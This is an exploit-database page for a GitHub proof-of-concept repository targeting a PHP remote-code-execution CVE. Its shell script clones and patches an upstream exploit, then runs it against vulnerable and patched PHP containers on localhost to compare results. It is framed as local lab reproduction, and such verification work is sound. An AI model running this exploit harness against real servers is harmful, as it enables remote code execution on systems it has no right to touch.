Exploit database

GH-14ef558f43f672f805dabc59a510352c

engoreoo/php2shell-cve-2026-109618-cve-2026-109619-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files12

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

run-rce-poc.sh

Shell · 2,780 bytes
#!/usr/bin/env bash
# End-to-end php2shell RCE reproduction — LOCAL DOCKER LAB ONLY.
#
# Builds php:8.4.26-apache (vulnerable) and php:8.4.27-apache (patched), runs the
# real exploit against both, and prints the A/B result.
#
# Everything here is 127.0.0.1. Nothing leaves the machine.
set -euo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
UP="$HERE/upstream"
PTR="0x4000000000:0x8000000000"   # emulated x86-64 address layout; drop on native x86-64

cleanup() {
  docker compose -p php2shell-vuln    -f "$UP/docker/docker-compose.yml"         down -v >/dev/null 2>&1 || true
  docker compose -p php2shell-patched -f "$UP/docker/docker-compose.patched.yml" down -v >/dev/null 2>&1 || true
}
trap cleanup EXIT

echo "== fetching upstream exploit =="
if [ ! -f "$UP/php2shell.py" ]; then
  git clone --depth 1 https://github.com/godylockz/cve-2026-109618-php2shell.git "$UP"
fi
# Our --ptr-range support; no-op if already applied.
if ! grep -q -- "--ptr-range" "$UP/php2shell.py"; then
  ( cd "$UP" && git apply "$HERE/ptr-range.patch" )
  echo "   applied ptr-range.patch"
fi

# The patched override compose file lives in our repo, not upstream.
cp "$HERE/docs/docker-compose.patched.yml" "$UP/docker/docker-compose.patched.yml"

echo "== building lab =="
mkdir -p "$UP/out" "$UP/out-patched"
docker compose -p php2shell-vuln    -f "$UP/docker/docker-compose.yml"         up -d --quiet-pull
docker compose -p php2shell-patched -f "$UP/docker/docker-compose.patched.yml" up -d --quiet-pull

for port in 8088 8089; do
  for _ in $(seq 1 40); do
    curl -fsS "http://127.0.0.1:$port/index.php" >/dev/null 2>&1 && break
    sleep 0.5
  done
done

echo
echo "== target A: php 8.4.26 (vulnerable) =="
cd "$UP" && python3 php2shell.py exploit \
  -u http://127.0.0.1:8088/index.php \
  --ptr-range "$PTR" \
  --docker-container php2shell-target \
  --offsets-file out/offsets.env \
  --proof-file out/p1 || echo "[-] exploit returned non-zero"

echo
echo "== target B: php 8.4.27 (patched) — same attack, must fail =="
python3 php2shell.py exploit \
  -u http://127.0.0.1:8089/index.php \
  --ptr-range "$PTR" \
  --docker-container php2shell-patched \
  --offsets-file out-patched/offsets.env \
  --proof-file out-patched/p1 \
  --retries 3 || echo "[-] as expected, exploit failed on the patched build"

echo
echo "== evidence =="
echo "vulnerable: heap-corruption events = $(docker logs php2shell-target 2>&1 | grep -c 'zend_mm_heap corrupted' || true)"
echo "patched   : heap-corruption events = $(docker logs php2shell-patched 2>&1 | grep -c 'zend_mm_heap corrupted' || true)"
echo "proof file (vulnerable):"; cat "$UP/out/p1" 2>/dev/null || echo "  (none)"
echo "proof file (patched)   :"; cat "$UP/out-patched/p1" 2>/dev/null || echo "  (none — correct)"